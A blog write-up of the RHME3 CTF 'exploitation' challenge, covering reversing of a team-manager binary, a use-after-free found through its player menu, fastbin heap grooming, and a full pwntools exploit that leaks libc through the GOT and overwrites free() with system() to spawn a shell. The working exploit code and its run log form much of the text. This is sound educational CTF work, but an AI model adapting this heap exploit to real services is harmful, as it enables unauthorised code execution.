Skip to main content

Writeup CTF RHME3: exploitation

Also this year there will be a CTF from Riscure mainly targeted for hardware security people, but before that, from the 8th of August until the 28th there was the qualification phase: three challenges to solve in order to qualify and to receive a physical board with the real challenges.

In this post I'll write about the only challenge that I was able to solve named exploitation; the other two weren't too complicated but more about side channel attacks and very specific tools that I didn't know about so I preferred to do not waste too much of my time and wait to learn from other people writeup (by the way, I was very near the solution of the tracing challenge, only matter of changing the algorithm in deadpool but this is a story for another time).

The challenge was a remote one, but the binary (main.elf) was provided together with its system library (libc).

The protections (all but PIE are enabled)

$ checksec --file main.elf
[*] 'main.elf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

hints us that probably a ropchain would be necessary.

Preliminaries

First of all was necessary to find the port number to which connect to the server: using radare2 I reversed the main() function

[0x00400ec0]> s main
[0x004021a1]> pd 20
            ;-- main:
/ (fcn) main 205
|   main ();
|           ; var int local_9h @ rbp-0x9
|           ; var int local_8h @ rbp-0x8
|           ; var int local_4h @ rbp-0x4
|              ; DATA XREF from 0x00400edd (entry0)
|           0x004021a1      55             push rbp
|           0x004021a2      4889e5         mov rbp, rsp
|           0x004021a5      4883ec10       sub rsp, 0x10
|           0x004021a9      c645f700       mov byte [local_9h], 0
|           0x004021ad      bf18264000     mov edi, 0x402618
|           0x004021b2      e87ceeffff     call sym.background_process
|           0x004021b7      bf39050000     mov edi, 0x539
|           0x004021bc      e85eefffff     call sym.serve_forever

I found at address 0x004021b7 that a value of 0x539 is passed as argument to serve_forever(); using the numerical conversion functionality inside my reversing tool I obtained

[0x004021a1]> ? 0x539
1337 0x539 02471 1.3K 0000:0539 1337 "9\x05" 0000010100111001 1337.0 1337.000000f 1337.000000

trying that value as port number now I can connect to the challenge:

$ nc pwn.rhme.riscure.com 1337
Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice:

The application setup routine checks for a specific path and user existence, if they don't exist it exits. Otherwise it forks in order to daemonize() itself and forks again when a connection is made. This makes attach gdb to the process a pain in the ass.

To make easier to debug the executable I preferred to nop the binary in the daemonize part using again radare2

$ cp main.elf main_modified.elf
$ r2 -w -A main_modified.elf
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
 -- Change the size of the file with the 'r' (resize) command
[0x00400ec0]> s 0x004021ad
[0x004021ad]> wx 9090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
[0x004021ad]> o
 3 * main_modified.elf : -rw- size=0x4c68
  +0x0 0x0 - 0x4c68 : -rw- : 
[0x004021ad]> wc

Now it was possible to have a not forking executable that uses its own stdin and stdout for interact with the user, much more easy to deal with.

Otherwise you can this Dockerfile

FROM ubuntu:17.04

RUN apt-get update
RUN apt-get upgrade -y

#RUN apt-get install -y gdb

RUN adduser pwn --home /opt/riscure/pwn
COPY main.elf /opt/riscure/pwn
COPY libc.so.6 /opt/riscure/pwn

EXPOSE 1337

ENV LD_LIBRARY_PATH=/opt/riscure/pwn
CMD "/opt/riscure/pwn/main.elf"

with which you can create a container and launch it with the followind command

$ docker build -t rhme3/exploitation .
$ docker run -p 1337:1337 rhme3/exploitation

Now you have the challenge running at localhost.

Analysis

It seems a kind of players list application; after a little bit of usage a strange pattern appears: in order to visualize and edit, you need to select before a player, instead to remove one you enter the index after, this weird UI is probably source of some bugs.

Indeed if you select a player, remove it and then visualize it you obtain a strange looking output. we have here an user after free vulnerability! Below an example

0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 5
        Name: 
        A/D/S/P: 39363632,0,1,1

With a well-crafted input this should become an info leak usable to defeat ASLR, so studying the data structure and input retrieving is the next step.

Analyzing the way in which the player data is accessed I suppose that the original data structure could be the following (in C):

struct _player {
    uint32_t attack;
    uint32_t defense;
    uint32_t speed;
    uint32_t precision;
    char* name;
}

When a player is created there are two allocation in the heap, the first one is of 0x20 bytes and it's for this data structure.

The name is allocated with enough space to contain it, but take in mind that there is a limit of 256 bytes in the character name (including the NULL terminating byte) when processed by the function readline(). When a name is modified and extended then the buffer's address is passed to realloc(). All the data passing is done via strcpy(), so we cannot insert a NULL byte in the middle of a payload.

Setup the weird machine dancing with the heap

How to exploit this UAE? first of all we need to understand how the heap usually works: here is used the glibc's allocator but the internals are not necessary (if you are interested this is a must read), the only thing that matters is that, for performance reason, when a block of a given size is deallocated is put in a LIFO where will be available for future allocation of the same size. Technically speaking this is true only for allocation with size lower than 0x80 bytes and the list of unallocated objects is called fastbin.

Our target is to create a player having the name allocated where we previously had a selected player: this is possible just playing with the allocations.

The rules to take in mind for the allocations/deallocations of a player are

  1. the last unallocated chunk with the same size is used for a new allocation with the same size
  2. the player's name is the last allocated when a player is added and the first deallocated when a player is removed
  3. the player's data structure has always the same size of 0x20 bytes
  4. the player's name can have a size up to 255 bytes.

Below I used some diagrams created with villoc to better explain the process.

First of all we create two players, one with a name that can fit in a 0x20 bytes:

Then I add a second player with a name that doesn't fit into 0x20 bytes

At this point I select the first player and I'm ready to alter the heap configuration with my dance: I remove the first player

and then remove the second:

now we have a fastbin with 3 elements with size 0x20 and one with size 0x30.

Adding a new player with the name fitting in 0x20 I obtain a name allocated where the first player's data structure was!

R/W primitives vs the GOT

With this configuration we have now a read/write primitive to an user controlled address: using a GOT entry inside the executable as part of the name of the player we can now read what's the address resolved by the dynamic loader so to bypass ASLR; then using a write I can overwrite that address to the one pointing to a function more valuable: if I overwrite the GOT entry for the free() function with the system(), it's possible to execute a shell simply removing a player with name /bin/sh;)

This approach has two drawbacks:

  • you cannot write the bytes \n and \0, so if your address has a digit with these values you need to change the overwritten function if possible or use a more generic primitive.
  • it's one-shot: you cannot change the address without redoing the dance

Exploit

For completeness below you can read the exploit used to solve the challenge, it needs the executable and its system library in the same directory where this file lives. Remember to export LD_LIBRARY_PATH if you want to try it and to install pwntools.

# encoding:utf8
from pwn import args, log
from pwnlib.tubes import process, remote
from pwnlib.util import packing
from pwnlib.elf.elf import ELF
import os
import sys


def recvuntil_main_menu(t):
    return t.recvuntil('6.- Show team\nYour choice: ', timeout=4)

def add_player(t, name):
    t.sendline('1')
    response = t.recvuntil('Enter player name: ')
    t.sendline(name)
    t.sendline('1')
    t.sendline('1')
    t.sendline('1')
    t.sendline('1')

    recvuntil_main_menu(t)

def select_player(t, index):
    t.sendline('3')

    t.recvuntil('Enter index: ')

    t.sendline(str(index))

    recvuntil_main_menu(t)

def edit_player(t, name):
    t.sendline('4')

    t.recvuntil('5.- Set precision\nYour choice: ')

    t.sendline('1')
    t.recvuntil('Enter new name: ')

    t.sendline(name)

    t.sendline('0')

    return recvuntil_main_menu(t)

def show_player(t):
    t.sendline('5')
    return recvuntil_main_menu(t)

def delete_player(t, index):
    t.sendline('2')
    t.recvuntil('Enter index: ')
    t.sendline(str(index))

    recvuntil_main_menu(t)

def name_from_address(address):
    address = packing.p32(address)
    return "A"*16 + address[:-1] # the NULL byte will be inserted by the application

def extract_value_from_player_infos(text):
    start = text.index(': ') + 2
    end   = text.index('\n\tA/D')

    return text[start:end]

def setup(t, got, offset):
    '''
    We initiate a dance that allows to build a read/write primitive
    playing with the fastbin chunks: the steps of this dance are

        1. add a player with a name length equal to the struct size
        2. add another player with a name length greater than the struct size
        3. select the first player
        4. remove the first player (index 0)
        5. remove the second player (index 1)
        6. add a new player with name length matching the struct size

    At this point the name field of the selected (and free) player points
    to the last 4 bytes of the string containing the name of the unique player.

    For now it's not clean, I mean, you have an unsorted chunk to be handled to
    restart a new dance ;)
    '''
    log.info('trying to overwrite got @0x%x' % got)

    add_player(t, "A"*15) # 16 - null byte
    add_player(t, "B"*30)
    select_player(t, 0)
    delete_player(t, 0)
    delete_player(t, 1)
    add_player(t, name_from_address(got))

    output = show_player(t)

    log.debug(output)

    value = extract_value_from_player_infos(output)
    log.debug(repr(value))
    address_libc = packing.u64(value + '\x00\x00')
    log.info('libc function address 0x%x' % address_libc)
    address_libc_base = address_libc - offset
    log.info('libc base address     0x%x' % (address_libc_base))

    return address_libc_base

def get_target(extra_bp=None):
    target = None
    cwd = os.path.dirname(__file__)
    target_path = os.path.join(cwd, 'main_modified.elf')

    if args.LOCAL:
        target_args = [target_path,] if not args.GDB else ['gdb', target_path]
        target = process.process(target_args, aslr=True)
        if args.GDB:
            target.recvuntil('gef➤ ')
            target.sendline('b main')
            #target.sendline('b *0x00401640')
            #target.sendline('commands')
            #target.sendline('heap bins')
            #target.sendline('continue')
            #target.sendline('end')
            target.sendline('r')
            #target.sendline('heap-analysis-helper')
            if args.INTERACTIVE:
                target.interactive()
                sys.exit(0)
            if extra_bp:
                target.sendline('b *%s' % hex(extra_bp))
            target.sendline('c')
    else:
        target = remote.remote('pwn.rhme.riscure.com', 1337)

    return target, ELF(target_path)

if __name__ == '__main__':

    target, elf = get_target(extra_bp=None)

    path_exploit = os.path.dirname(__file__)
    libc = ELF(os.path.join(path_exploit, 'libc.so.6'))

    # first menu
    recvuntil_main_menu(target)
    # setup the heap so that editing the player willwrite to the GOT of a function
    address_base_libc = setup(target, elf.got['free'], libc.symbols['free']) # free

    address_one_gadget = address_base_libc + libc.symbols['system']
    log.info('one gadget at 0x%x' % address_one_gadget)
    edit_player(target, packing.p64(address_one_gadget)) # one_gadget
    add_player(target, '/bin/sh')
    delete_player(target, 1)
    target.interactive()

The important parts are the functions setup() and __main__.

Conclusion

Finally the challenge is solved:

$ python exploit.py
[*] trying to overwrite got @0x603018
[*] libc function address 0x7f676dc944f0
[*] libc base address     0x7f676dc10000
[*] one gadget at 0x7f676dc55390
[*] Switching to interactive mode
$ ls
flag
main.elf
$ cat flag
RHME3{h3ap_0f_tr0uble?}

It was a very interesting challenge: didn't use the very common buffer overflow but a simple logic bug; in particular shows that also with a number of modern protection the exploiting it's very possible. Probably enabling PIE should have make more troublesome the creation of a weird machine.

Comments

Comments powered by Disqus